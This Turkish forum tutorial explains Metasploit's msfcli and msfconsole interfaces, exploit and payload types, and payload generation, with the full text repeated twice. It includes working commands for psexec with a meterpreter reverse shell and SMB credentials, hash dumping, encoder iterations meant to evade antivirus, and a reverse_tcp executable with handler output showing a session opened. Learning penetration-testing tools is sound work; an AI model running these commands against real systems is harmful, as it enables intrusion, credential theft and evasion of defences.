Selamun Aleyküm Arkadaşlar,
Metasploit anaçatısını kullanmak için bir çok arayüz bulunmaktadır. Tüm arayüzlerin avantaj ve dezavantajları olmakla birikte; bu arayüzlerden en verimlisi msfconsole denebilir.
MSF, Kali Linux üzerinde "/usr/share/metasploit-framework" altında toplanmıştır.
1) Msfcli
msfconsole ile yapılabilecek işlemleri tek bir satırda / adımda gerçekleştiren arayüzdür. Başlıca kullanım amaçları aşağıdaki gibidir:
Exploit ve Auxiliary modülleri çalıştırmak
Tek bir satırda tüm işlemleri gerçekleştirerek öğrenim kolaylığı sağlamak
Yeni exploit’ler test etmek ve geliştirmek
İnteraktif erişimin mümkün olmadığı durumlarda kullanmak
Exploit işlerinde betiklerle otomatik işlemler gerçekleştirmek
Tek seferlik exploit işlemlerini daha hızlı gerçekleştirmek
Hangi exploit veya payload kullanılacağı bilindiği durumlarda hız kazanmak
Ancak msfconsole kadar desteklenmediği ve aynı anda sadece tek bir kabuk (shell) açılabildiği için istemci taraflı saldırılarda çok da pratik değildir. Ayrıca msfconsole’un bazı gelişmiş özelliklerini kullanamamaktadır.
Değişken ataması sırasında msfconsole’daki gibi “ ”(boşluk) kullanılması yerine, “=” kullanılır. Ayrıca seçeneklerin büyük/küçük harf duarlı olduğu da göz önünde bulundurulmalıdır.
Önemli parametreleri:
-h veya H: Yardımcı dokümantasyon sunar.
-E: Seçilen modülü çalıştırır.
P: Seçilen modül için uygun Payload değerlerini sunar.
O: Seçilen modül için uygun seçenekleri sunar. Böylece hangi seçeneklerin ayarlanabileceği listelenir.
Örnek kullanımlar:
# msfcli -h
# msfcli exploit/multi/samba/usermap_script O
# msfcli exploit/multi/samba/usermap_script P
# msfcli exploit/windows/smb/psexec RHOST=192.168.2.182 PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.2.97 LPORT=443 SMBUser=Tubitak SMBPass=Aa123456 E
2) Msfconsole
En çok destek gören ve tercih edilen arayüzdür. Bunun başlıca sebepleri şu şekildedir:
Kullanıcı dostudur. Ruby sayesinde Tab tuşu ile tamamlama gibi kullanımı kolaylaştırıcı özelliklere sahiptir.
En sağlam (stable) konsol tabanlı arayüzdür.
Merkezi bir arayüz sunar.
Metasploit ana çatısının her özelliğine (feature) neredeyse tamamına erişim sağlayabilen tek MSF arayüzüdür.
Metasploit anaçatısındaki özelliklerin yanı sıra, Linux taraflı dış komutlara (ifconfig, ping,... gibi) da erişim sağlanabilir.
Yardımcı dokümanları en iyi hazırlanmış arayüzdür.
Bu arayüzün kullanımı için “/usr/share/metasploit-framework” dizini altındaki msfconsole aracı kullanılır. Eğer çevresel değişkenler uygun şekilde yapılandırılmışsa, Kali'de yapılandırılmıştır, herhangi bir dizinde bu komut çalıştırılabilir.
Önemli parametreleri:
-h veya --help: Yardımcı dokümantasyon sunar.
-r <KaynakDosya>: Belirtilen kaynak / betik dosyasını (resource file) çalıştırır.
-c <YapilandirmaDosyasi>: Belirtilen yapılandırma dosyasını (configuration file) yükler.
-o <CiktiDosyasi>: Belirtilen dosyaya logları yazar.
Bu aracın çalıştırılması ile “msf” adlı konsola düşülür.
msfconsole komutları:
help veya ? veya <Komut> -h: Yardımcı dokümantasyon sunar.
info <ModulAdi>: Seçilen modülü veya modüller ile ilgili ön bilgi (Modül adı, versiyonu, çalışacağı platformlar, lisansı, yazarları, tanımı, seçenekleri, referansları, beklenmedik etkileri vs) sunar.
back: Mevcut modülden geri çıkmak için kullanılır.
check: Exploit işlemini gerçekleştirmeden önce yapılan kontroldür. Böylece exploit işleminin başarılı olup olunmayacağı kontrol edilir. Çok az sayıda exploit tarafından bu komut desteklenir.
connect <Senecekler>: Telnet veya netcat araçları gibi, bir sistemin bir portuna bağlantı (connect <IP> <Port>) için kullanılır.
exit: msfconsole komut satırından çıkılması için kullanılır.
irb: msf konsolundan, etkileşimli Ruby kabuğuna geçiş için kullanılır.
jobs <Secenekler>: Arka planda çalışan modülleri sunar, sonlandırır ve yönetir.
kill <JobId>: Belirtilen arka plandaki işlemi (job) sonlandırır.
load <EklentiAdi>: Kişisel (“/root/.msf4/plugins”) ve Metasploit anaçatısındaki eklentileri (“/usr/share/metasploit-framework/plugins”) yükler.
resource <KaynakDosyasi>: msfconsole tarafından yüklenebilecek betik (kaynak) dosyalarını çalıştırır.
route: Oturum açıldıktan sonra ağlar arasında oturumlar üzerinden geçmek için kullanılır. Ayrıntılı bilgi Pivoting başlığı altında incelenecektir.
search <ModulBilgisininBirKismi>: Adı, tanımı, referansı gibi bilgisinin belli bir kısmı bilinen modül için arama gerçekleştirilir. Modüller isimlendirilirken “-” yerine “_” kullanıldığından, “_” ile arama yapılması daha doğru sonuçlar verir.
sessions: Mevcut oturumları (meterpreter oturumu, shell, VNC) listeler ve yönetir.
set <Secenek> <Deger>: Mevcut modül için belirtilen seçeneğe, belirtilen değeri atar.
setg <Secenek> <Deger>: Tüm modüller için (global olarak) belirtilen seçeneğe, belirtilen değeri atar.
save: setg komutu ile yapılan değişiklikleri ayar dosyasına (/root/.msf4/config) kaydeder. Böylece bu ayarlar her zaman kullanılabilir.
show <Parametre>: Belirtilen parametreye (all, encoders, nops, exploits, payloads, auxiliary, plugins, options) uygun seçenekleri sunar.
unload <EklentiAdi>: Yüklü eklentiyi kaldırır.
unset <Parametre>: Değer verilmiş seçeneklerdeki değeri kaldırır.
unsetg <Parametre>: Değer verilmiş genel seçeneklerdeki değeri kaldırır.
use <ModulAdi>: Belirtilen modül kullanılır.
run veya exploit: Modülleri çalıştırmak için kullanılır. Auxiliary modüller için “run”, istismar modülleri için “exploit” kullanılır.
Örnek kullanımlar:
msf > help
msf > sessions -h
msf > search smart_hash
msf > search typeost platform:linux path:scade name:mysql author:dookie
msf > use post/windows/gather/smart_hashdump
msf > sessions -l
msf > sessions -i 4 -c “net localgroup”
msf > sessions -k 2
msf > unset all
msf exploit(psexec) > set RHOSTS 192.168.5.0/24
msf > setg RHOSTS 192.168.5.0/24
msf > save
msf exploit(ms08_067_netapi) > show payloads
msf > show options
3) Exploits
Modül seçildikten, modül seçenekleri ayarlandıktan sonra zafiyeti kullanarak hedef sisteme sızmak için kullanılan komuttur.
Önemli parametreleri:
-h: Yardımcı dokümantasyon sunar.
-j: Modül arkaplanda çalıştırılır.
-z: Modül başarılı bir şekilde çalıştırıldıktan sonra oturum ile direk etkileşime girilmez. Örneğin, hedef sistemin kabuğuna düşülmez. “shell -i <OturumNo>” komutu ile hedef kabuğa düşülür.
Exploit işlemi sonucunda hedef sistem ile etkileşime girildiğinde meterpreter kabuğuna düşülür.
Exploit’ler aktifliğine göre 2’ye ayrılır:
Aktif Exploit’ler: Bir sistemdeki zafiyeti istismar eden ve işi bittikten sonra kapanan (bir hata olmadığı takdirde) sunucu tabanlı (saldırganın bir sisteme saldırdığı) exploit çeşididir.
Pasif Exploit’ler: Hedef sistemin bağlantı talebini gerçekleştirmesi beklenen istemci tabanlı (web tarayıcısındaki, mail istemcisindeki) exploit çeşididir.
4) Payloads
Payloadlar 3 grupta incelenebilir.
Single (Inline / Non Staged) : Tek başınlarına çalışan, hem bağlantıyı sağlayan hem de hedef bilgisayarda basit işlemler gerçekleştiren payload’lardır. Stagers ve Stages payload’larının birleşimi olarak düşünülebilir. Örnek: Hedef sisteme kullanıcı ekleme (adduser), hedef sisteme bağlantı kurma (shell_bind_tcp), hedef sistemde kod çalıştırma (exec), hedef sistemde bir prosesi (explorer.exe gibi) öldürme, hedef sistemin kayıt defterinde değişiklik gerçekleştirme, ....
Stagers: Saldırgan ve hedef bilgisayarlar arasında ağ altyapısını kuran, küçük boyutlu olan ve sağlam olmak zorunda olan payload’lardır. Bağlantı kurulurken küçük boyuttaki kodlar kullanılır, bağlantı kurulduktan sonra büyük boyuttaki kodlar kullanılarak modül ve payload’lar hedef sisteme yollanmaktadır. Metasploit alt yapısı barındırdığı benzer payload’lardan en iyisini kendi içerisinde seçer ve bağlantıyı seçtiği en uygun payload ile kurar. Örnek: bind_tcp, reverse_tcp, bind_http(s), reverse_http(s), ...
Stages: Stager payload’lar tarafından hedef sisteme yüklenen ve asıl işlemleri gerçekleştiren payload bileşenleridir. Saldırganın hedef bilgisayarda komut çalıştırması veya saldırganın hedef bilgisayardan dosya alması, ... gibi işlemler için kullanılan shell (ipwn, http,…), meterpreter, VNC Injection birer stages payloadlardır. Single payload’lardan daha karmaşık işlemleri gerçekleştirirler.
Payload adına bakılarak payload kategorisi anlaşılabilmektedir. Payload adında “/” yoksa single; varsa ilk değer stage ve ikinci değerse stager bilgisini verir. Örneğin; “windows/shell_bind_tcp” için single payload, “windows/shell/bind_tcp” için stager (bind_tcp) ve stage (shell) içeren bir payload’dur denilebilir.
Payload belirlemek için “set” komutu kulalnılabilir.
Metasploit anaçatısında bulunan en önemli payload türleri aşağıdaki gibidir:
Inline (Non staged): Belirli işlevi yerine getiren single payload’dur.
Staged:Belirli bir işlevi yerine getirmek için stage payload’lar ile birlikte çalışan stager payload’lardır.
Meterpreter (Meta-Interpreter): Hedef sistemin belleğinde çalışan, diskinde iz bırakmayan ve DLL enjeksiyonu yolu ile hedef bilgisayarda betik veya komutların çalışmasını sağlayan oldukça gelişmiş bir payload türüdür.
PassiveX: IE uygulamasında etkin olarak bırakılmış olan ActiveX kontrollerini kullanarak HTTP üzerinden komut çalıştırmaya yarayan ve firewall gibi ağ cihazlarının atlatılmasında kullanılan payload türüdür.
NoNX (No eXecute): DEP (Data Execution Prevention - RAM üzerinde gerçekleşen işlemleri kontrol ederek, saldırıları önler) koruma mekanizmasını atlatmak için kullanılan payload türüdür.
Ord: Her dildeki ve platformdaki Windows işletim sistemlerinde çalışan küçük boyutlu payload türleridir. Ancak exploit işlemi öncesinde prosese ws2_32.dll yüklenmesini beklediği için ve diğer payload türlerine göre daha az sağlam (stable) olduğu için çok de tercih edilmezler.
IPV6: Ipv6 ağlarında kullanılan payload türleridir.
Reflective DLL enjeksiyonu: Stage payload’un diskte değil RAM üzerinde işlem gördüğü VNC ve Meterpreter payload’larının da kullandığı tekniktir. Ayrıntılı bilgi için bakınız: http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html
Metaploit ana çatısı, exploit geliştiricilerine daha esnek bir ortam sağlamak için mevcut payload’lar haricinde payload’ların üretilmesine de olanak sunar. Payload işlemleri msfconsole üzerinde gerçekleştirilir.
msfconsole’da payload işlemleri için kullanılabilecek önemli parametreler:
use <PayloadAdi>: Belirtilen payload’u kullanır.
generate <Secenekler>: Belirtilen payload’u üretir.
Örnek kullanımlar:
msf > use payload/windows/shell_bind_tcp
msf payload (shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa'
"generate" parametreleri:
msfconsolda payload üretimi için “generate” sonrası kullanılabilecek önemli parametreler:
-h: Yardımcı dokümantasyon sunar.
-b <IstenmeyenKarakterler>: Payload içerisinde belirtilen karakteler kullanılmadan payload üretilir. Payload üretimi sırasında payload boyutu artış göstermekte ve otomatik olarak en uygun kodlayı (encoder) ile kod karıştırılmaktadır. Ancak istenmeyen karakter çok fazla ise bir payload üretimi gerçekleşmeyebilir. Bu durum sesli harf kullanmadan cümle oluşturmaya benzetilebilir.
-e <KodlayiciAdi>: Belirli bir kodlayıcı kullanılarak payload üretilir. Farklı bir encoder kullanımında payload boyutu artacaktır.
-f <DosyaAdi>: Payload bir dosyaya kaydedilir.
-i <IterasyonAdedi>: Payload üretimi sırasında shellcode’un kaç iterasyon geçireceğini belirtir. Bu parametre ile payload boyutu artarken, antivirüsler tarafından yakalanması ise daha zor olacaktır. İterasyon adedi arttıkça payload boyutu artacaktır.
-o <Secenek=Deger>: Payload seçeneklerini değiştirerek payload kodunu üretir.
-t <Dil>: Payload kodunu Ruby dili yerine tercih edilen programlama dilinde (raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh,psh-net) formatlayarak oluşturur.
-s <KarakterAdedi>: Payload başlangıcına belirtilen karakter adedince boş karakter (NOP) ekleyerek payload üretir. Eklenen byte adedince payload boyunu artış gösterir.
Örnek "generate" kullanımları:
msf payload(shell_bind_tcp) > generate -h
msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66’ -i 3
msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msf/filename.txt
msf payload(reverse_tcp) > generate -o LPORT=443,EXITFUNC=seh -b '\x00\xff' -e x86/shikata_ga_nai -t java
Bind ve Reverse Bağlantı İlişkisi
Bind ve Reverse bağlantı ile ilgili farkı görmek için aşağıdaki 2 örnek incelenebilir.
Reverse bağlantıda Windows (192.168.2.182) makinenin herhangi bir portundan, Linux makinenin (192.168.2.97) belirtilen portuna (4567) bağlantı kurulur.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 X > /root/Desktop/TersBaglanti.exe
# msfcli exploit/multi/handler PAYLOAD=windows/meterpeter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 E
Sonuç:
[*] Started reverse handler on 192.168.2.97:4567
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:4567 -> 192.168.2.182:49159) at 2014-03-16 21:38:07 +0200
5) Veritabanları
Metasploit anaçatısı kullanılarak gerçekleştirilen operasyonlara ait sonuçların takibi amacıyla PostgreSQL veritabanı kullanılabilir. msfconsole’a düşüldüğünde veritabanı bağlantısı otomatik olarak TCP/7337 portunda başlatılmaktadır.
Selametle // Reacher
Metasploit anaçatısını kullanmak için bir çok arayüz bulunmaktadır. Tüm arayüzlerin avantaj ve dezavantajları olmakla birikte; bu arayüzlerden en verimlisi msfconsole denebilir.
MSF, Kali Linux üzerinde "/usr/share/metasploit-framework" altında toplanmıştır.
1) Msfcli
msfconsole ile yapılabilecek işlemleri tek bir satırda / adımda gerçekleştiren arayüzdür. Başlıca kullanım amaçları aşağıdaki gibidir:
Exploit ve Auxiliary modülleri çalıştırmak
Tek bir satırda tüm işlemleri gerçekleştirerek öğrenim kolaylığı sağlamak
Yeni exploit’ler test etmek ve geliştirmek
İnteraktif erişimin mümkün olmadığı durumlarda kullanmak
Exploit işlerinde betiklerle otomatik işlemler gerçekleştirmek
Tek seferlik exploit işlemlerini daha hızlı gerçekleştirmek
Hangi exploit veya payload kullanılacağı bilindiği durumlarda hız kazanmak
Ancak msfconsole kadar desteklenmediği ve aynı anda sadece tek bir kabuk (shell) açılabildiği için istemci taraflı saldırılarda çok da pratik değildir. Ayrıca msfconsole’un bazı gelişmiş özelliklerini kullanamamaktadır.
Değişken ataması sırasında msfconsole’daki gibi “ ”(boşluk) kullanılması yerine, “=” kullanılır. Ayrıca seçeneklerin büyük/küçük harf duarlı olduğu da göz önünde bulundurulmalıdır.
Önemli parametreleri:
-h veya H: Yardımcı dokümantasyon sunar.
-E: Seçilen modülü çalıştırır.
P: Seçilen modül için uygun Payload değerlerini sunar.
O: Seçilen modül için uygun seçenekleri sunar. Böylece hangi seçeneklerin ayarlanabileceği listelenir.
Örnek kullanımlar:
# msfcli -h
# msfcli exploit/multi/samba/usermap_script O
# msfcli exploit/multi/samba/usermap_script P
# msfcli exploit/windows/smb/psexec RHOST=192.168.2.182 PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.2.97 LPORT=443 SMBUser=Tubitak SMBPass=Aa123456 E
2) Msfconsole
En çok destek gören ve tercih edilen arayüzdür. Bunun başlıca sebepleri şu şekildedir:
Kullanıcı dostudur. Ruby sayesinde Tab tuşu ile tamamlama gibi kullanımı kolaylaştırıcı özelliklere sahiptir.
En sağlam (stable) konsol tabanlı arayüzdür.
Merkezi bir arayüz sunar.
Metasploit ana çatısının her özelliğine (feature) neredeyse tamamına erişim sağlayabilen tek MSF arayüzüdür.
Metasploit anaçatısındaki özelliklerin yanı sıra, Linux taraflı dış komutlara (ifconfig, ping,... gibi) da erişim sağlanabilir.
Yardımcı dokümanları en iyi hazırlanmış arayüzdür.
Bu arayüzün kullanımı için “/usr/share/metasploit-framework” dizini altındaki msfconsole aracı kullanılır. Eğer çevresel değişkenler uygun şekilde yapılandırılmışsa, Kali'de yapılandırılmıştır, herhangi bir dizinde bu komut çalıştırılabilir.
Önemli parametreleri:
-h veya --help: Yardımcı dokümantasyon sunar.
-r <KaynakDosya>: Belirtilen kaynak / betik dosyasını (resource file) çalıştırır.
-c <YapilandirmaDosyasi>: Belirtilen yapılandırma dosyasını (configuration file) yükler.
-o <CiktiDosyasi>: Belirtilen dosyaya logları yazar.
Bu aracın çalıştırılması ile “msf” adlı konsola düşülür.
msfconsole komutları:
help veya ? veya <Komut> -h: Yardımcı dokümantasyon sunar.
info <ModulAdi>: Seçilen modülü veya modüller ile ilgili ön bilgi (Modül adı, versiyonu, çalışacağı platformlar, lisansı, yazarları, tanımı, seçenekleri, referansları, beklenmedik etkileri vs) sunar.
back: Mevcut modülden geri çıkmak için kullanılır.
check: Exploit işlemini gerçekleştirmeden önce yapılan kontroldür. Böylece exploit işleminin başarılı olup olunmayacağı kontrol edilir. Çok az sayıda exploit tarafından bu komut desteklenir.
connect <Senecekler>: Telnet veya netcat araçları gibi, bir sistemin bir portuna bağlantı (connect <IP> <Port>) için kullanılır.
exit: msfconsole komut satırından çıkılması için kullanılır.
irb: msf konsolundan, etkileşimli Ruby kabuğuna geçiş için kullanılır.
jobs <Secenekler>: Arka planda çalışan modülleri sunar, sonlandırır ve yönetir.
kill <JobId>: Belirtilen arka plandaki işlemi (job) sonlandırır.
load <EklentiAdi>: Kişisel (“/root/.msf4/plugins”) ve Metasploit anaçatısındaki eklentileri (“/usr/share/metasploit-framework/plugins”) yükler.
resource <KaynakDosyasi>: msfconsole tarafından yüklenebilecek betik (kaynak) dosyalarını çalıştırır.
route: Oturum açıldıktan sonra ağlar arasında oturumlar üzerinden geçmek için kullanılır. Ayrıntılı bilgi Pivoting başlığı altında incelenecektir.
search <ModulBilgisininBirKismi>: Adı, tanımı, referansı gibi bilgisinin belli bir kısmı bilinen modül için arama gerçekleştirilir. Modüller isimlendirilirken “-” yerine “_” kullanıldığından, “_” ile arama yapılması daha doğru sonuçlar verir.
sessions: Mevcut oturumları (meterpreter oturumu, shell, VNC) listeler ve yönetir.
set <Secenek> <Deger>: Mevcut modül için belirtilen seçeneğe, belirtilen değeri atar.
setg <Secenek> <Deger>: Tüm modüller için (global olarak) belirtilen seçeneğe, belirtilen değeri atar.
save: setg komutu ile yapılan değişiklikleri ayar dosyasına (/root/.msf4/config) kaydeder. Böylece bu ayarlar her zaman kullanılabilir.
show <Parametre>: Belirtilen parametreye (all, encoders, nops, exploits, payloads, auxiliary, plugins, options) uygun seçenekleri sunar.
unload <EklentiAdi>: Yüklü eklentiyi kaldırır.
unset <Parametre>: Değer verilmiş seçeneklerdeki değeri kaldırır.
unsetg <Parametre>: Değer verilmiş genel seçeneklerdeki değeri kaldırır.
use <ModulAdi>: Belirtilen modül kullanılır.
run veya exploit: Modülleri çalıştırmak için kullanılır. Auxiliary modüller için “run”, istismar modülleri için “exploit” kullanılır.
Örnek kullanımlar:
msf > help
msf > sessions -h
msf > search smart_hash
msf > search typeost platform:linux path:scade name:mysql author:dookie
msf > use post/windows/gather/smart_hashdump
msf > sessions -l
msf > sessions -i 4 -c “net localgroup”
msf > sessions -k 2
msf > unset all
msf exploit(psexec) > set RHOSTS 192.168.5.0/24
msf > setg RHOSTS 192.168.5.0/24
msf > save
msf exploit(ms08_067_netapi) > show payloads
msf > show options
3) Exploits
Modül seçildikten, modül seçenekleri ayarlandıktan sonra zafiyeti kullanarak hedef sisteme sızmak için kullanılan komuttur.
Önemli parametreleri:
-h: Yardımcı dokümantasyon sunar.
-j: Modül arkaplanda çalıştırılır.
-z: Modül başarılı bir şekilde çalıştırıldıktan sonra oturum ile direk etkileşime girilmez. Örneğin, hedef sistemin kabuğuna düşülmez. “shell -i <OturumNo>” komutu ile hedef kabuğa düşülür.
Exploit işlemi sonucunda hedef sistem ile etkileşime girildiğinde meterpreter kabuğuna düşülür.
Exploit’ler aktifliğine göre 2’ye ayrılır:
Aktif Exploit’ler: Bir sistemdeki zafiyeti istismar eden ve işi bittikten sonra kapanan (bir hata olmadığı takdirde) sunucu tabanlı (saldırganın bir sisteme saldırdığı) exploit çeşididir.
Pasif Exploit’ler: Hedef sistemin bağlantı talebini gerçekleştirmesi beklenen istemci tabanlı (web tarayıcısındaki, mail istemcisindeki) exploit çeşididir.
4) Payloads
Payloadlar 3 grupta incelenebilir.
Single (Inline / Non Staged) : Tek başınlarına çalışan, hem bağlantıyı sağlayan hem de hedef bilgisayarda basit işlemler gerçekleştiren payload’lardır. Stagers ve Stages payload’larının birleşimi olarak düşünülebilir. Örnek: Hedef sisteme kullanıcı ekleme (adduser), hedef sisteme bağlantı kurma (shell_bind_tcp), hedef sistemde kod çalıştırma (exec), hedef sistemde bir prosesi (explorer.exe gibi) öldürme, hedef sistemin kayıt defterinde değişiklik gerçekleştirme, ....
Stagers: Saldırgan ve hedef bilgisayarlar arasında ağ altyapısını kuran, küçük boyutlu olan ve sağlam olmak zorunda olan payload’lardır. Bağlantı kurulurken küçük boyuttaki kodlar kullanılır, bağlantı kurulduktan sonra büyük boyuttaki kodlar kullanılarak modül ve payload’lar hedef sisteme yollanmaktadır. Metasploit alt yapısı barındırdığı benzer payload’lardan en iyisini kendi içerisinde seçer ve bağlantıyı seçtiği en uygun payload ile kurar. Örnek: bind_tcp, reverse_tcp, bind_http(s), reverse_http(s), ...
Stages: Stager payload’lar tarafından hedef sisteme yüklenen ve asıl işlemleri gerçekleştiren payload bileşenleridir. Saldırganın hedef bilgisayarda komut çalıştırması veya saldırganın hedef bilgisayardan dosya alması, ... gibi işlemler için kullanılan shell (ipwn, http,…), meterpreter, VNC Injection birer stages payloadlardır. Single payload’lardan daha karmaşık işlemleri gerçekleştirirler.
Payload adına bakılarak payload kategorisi anlaşılabilmektedir. Payload adında “/” yoksa single; varsa ilk değer stage ve ikinci değerse stager bilgisini verir. Örneğin; “windows/shell_bind_tcp” için single payload, “windows/shell/bind_tcp” için stager (bind_tcp) ve stage (shell) içeren bir payload’dur denilebilir.
Payload belirlemek için “set” komutu kulalnılabilir.
Metasploit anaçatısında bulunan en önemli payload türleri aşağıdaki gibidir:
Inline (Non staged): Belirli işlevi yerine getiren single payload’dur.
Staged:Belirli bir işlevi yerine getirmek için stage payload’lar ile birlikte çalışan stager payload’lardır.
Meterpreter (Meta-Interpreter): Hedef sistemin belleğinde çalışan, diskinde iz bırakmayan ve DLL enjeksiyonu yolu ile hedef bilgisayarda betik veya komutların çalışmasını sağlayan oldukça gelişmiş bir payload türüdür.
PassiveX: IE uygulamasında etkin olarak bırakılmış olan ActiveX kontrollerini kullanarak HTTP üzerinden komut çalıştırmaya yarayan ve firewall gibi ağ cihazlarının atlatılmasında kullanılan payload türüdür.
NoNX (No eXecute): DEP (Data Execution Prevention - RAM üzerinde gerçekleşen işlemleri kontrol ederek, saldırıları önler) koruma mekanizmasını atlatmak için kullanılan payload türüdür.
Ord: Her dildeki ve platformdaki Windows işletim sistemlerinde çalışan küçük boyutlu payload türleridir. Ancak exploit işlemi öncesinde prosese ws2_32.dll yüklenmesini beklediği için ve diğer payload türlerine göre daha az sağlam (stable) olduğu için çok de tercih edilmezler.
IPV6: Ipv6 ağlarında kullanılan payload türleridir.
Reflective DLL enjeksiyonu: Stage payload’un diskte değil RAM üzerinde işlem gördüğü VNC ve Meterpreter payload’larının da kullandığı tekniktir. Ayrıntılı bilgi için bakınız: http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html
Metaploit ana çatısı, exploit geliştiricilerine daha esnek bir ortam sağlamak için mevcut payload’lar haricinde payload’ların üretilmesine de olanak sunar. Payload işlemleri msfconsole üzerinde gerçekleştirilir.
msfconsole’da payload işlemleri için kullanılabilecek önemli parametreler:
use <PayloadAdi>: Belirtilen payload’u kullanır.
generate <Secenekler>: Belirtilen payload’u üretir.
Örnek kullanımlar:
msf > use payload/windows/shell_bind_tcp
msf payload (shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa'
"generate" parametreleri:
msfconsolda payload üretimi için “generate” sonrası kullanılabilecek önemli parametreler:
-h: Yardımcı dokümantasyon sunar.
-b <IstenmeyenKarakterler>: Payload içerisinde belirtilen karakteler kullanılmadan payload üretilir. Payload üretimi sırasında payload boyutu artış göstermekte ve otomatik olarak en uygun kodlayı (encoder) ile kod karıştırılmaktadır. Ancak istenmeyen karakter çok fazla ise bir payload üretimi gerçekleşmeyebilir. Bu durum sesli harf kullanmadan cümle oluşturmaya benzetilebilir.
-e <KodlayiciAdi>: Belirli bir kodlayıcı kullanılarak payload üretilir. Farklı bir encoder kullanımında payload boyutu artacaktır.
-f <DosyaAdi>: Payload bir dosyaya kaydedilir.
-i <IterasyonAdedi>: Payload üretimi sırasında shellcode’un kaç iterasyon geçireceğini belirtir. Bu parametre ile payload boyutu artarken, antivirüsler tarafından yakalanması ise daha zor olacaktır. İterasyon adedi arttıkça payload boyutu artacaktır.
-o <Secenek=Deger>: Payload seçeneklerini değiştirerek payload kodunu üretir.
-t <Dil>: Payload kodunu Ruby dili yerine tercih edilen programlama dilinde (raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh,psh-net) formatlayarak oluşturur.
-s <KarakterAdedi>: Payload başlangıcına belirtilen karakter adedince boş karakter (NOP) ekleyerek payload üretir. Eklenen byte adedince payload boyunu artış gösterir.
Örnek "generate" kullanımları:
msf payload(shell_bind_tcp) > generate -h
msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66’ -i 3
msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msf/filename.txt
msf payload(reverse_tcp) > generate -o LPORT=443,EXITFUNC=seh -b '\x00\xff' -e x86/shikata_ga_nai -t java
Bind ve Reverse Bağlantı İlişkisi
Bind ve Reverse bağlantı ile ilgili farkı görmek için aşağıdaki 2 örnek incelenebilir.
Reverse bağlantıda Windows (192.168.2.182) makinenin herhangi bir portundan, Linux makinenin (192.168.2.97) belirtilen portuna (4567) bağlantı kurulur.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 X > /root/Desktop/TersBaglanti.exe
# msfcli exploit/multi/handler PAYLOAD=windows/meterpeter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 E
Sonuç:
[*] Started reverse handler on 192.168.2.97:4567
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:4567 -> 192.168.2.182:49159) at 2014-03-16 21:38:07 +0200
5) Veritabanları
Metasploit anaçatısı kullanılarak gerçekleştirilen operasyonlara ait sonuçların takibi amacıyla PostgreSQL veritabanı kullanılabilir. msfconsole’a düşüldüğünde veritabanı bağlantısı otomatik olarak TCP/7337 portunda başlatılmaktadır.
Selametle // Reacher